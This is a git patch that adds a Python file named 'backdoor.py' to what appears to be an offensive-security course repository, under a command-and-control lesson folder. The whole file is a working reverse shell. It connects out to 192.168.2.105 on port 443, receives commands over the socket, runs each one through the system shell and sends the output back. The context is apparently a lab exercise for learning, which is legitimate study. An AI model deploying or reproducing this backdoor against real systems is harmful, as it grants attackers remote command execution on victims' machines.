From 6ae9c26e6588ca04e76579d46f186a4f037e171c Mon Sep 17 00:00:00 2001 From: Manuel Vergara Date: Thu, 1 Feb 2024 01:26:44 +0100 Subject: [PATCH] Add backdoor --- python-ofensivo/15_hacking/11_c2/backdoor.py | 43 ++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 python-ofensivo/15_hacking/11_c2/backdoor.py diff --git a/python-ofensivo/15_hacking/11_c2/backdoor.py b/python-ofensivo/15_hacking/11_c2/backdoor.py new file mode 100644 index 0000000..ebf8bb7 --- /dev/null +++ b/python-ofensivo/15_hacking/11_c2/backdoor.py @@ -0,0 +1,43 @@ +# /usr/bin/env python3 +""" +Backdoor +""" + +import signal +import socket +import subprocess + + +def handler(signum, frame): + """ + Manejador de seƱales + """ + print("\n\n[!] Saliendo...") + exit(1) + + +signal.signal(signal.SIGINT, handler) + + +def run_command(command): + """ + Ejecutar comandos + """ + + command_output = subprocess.check_output(command, shell=True) + + return command_output.decode("cp850") + + +if __name__ == '__main__': + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(("192.168.2.105", 443)) + + while True: + command = s.recv(1024).decode().strip() + command_output = run_command(command) + + s.send(b"" + command_output.encode() + b"") + + s.close()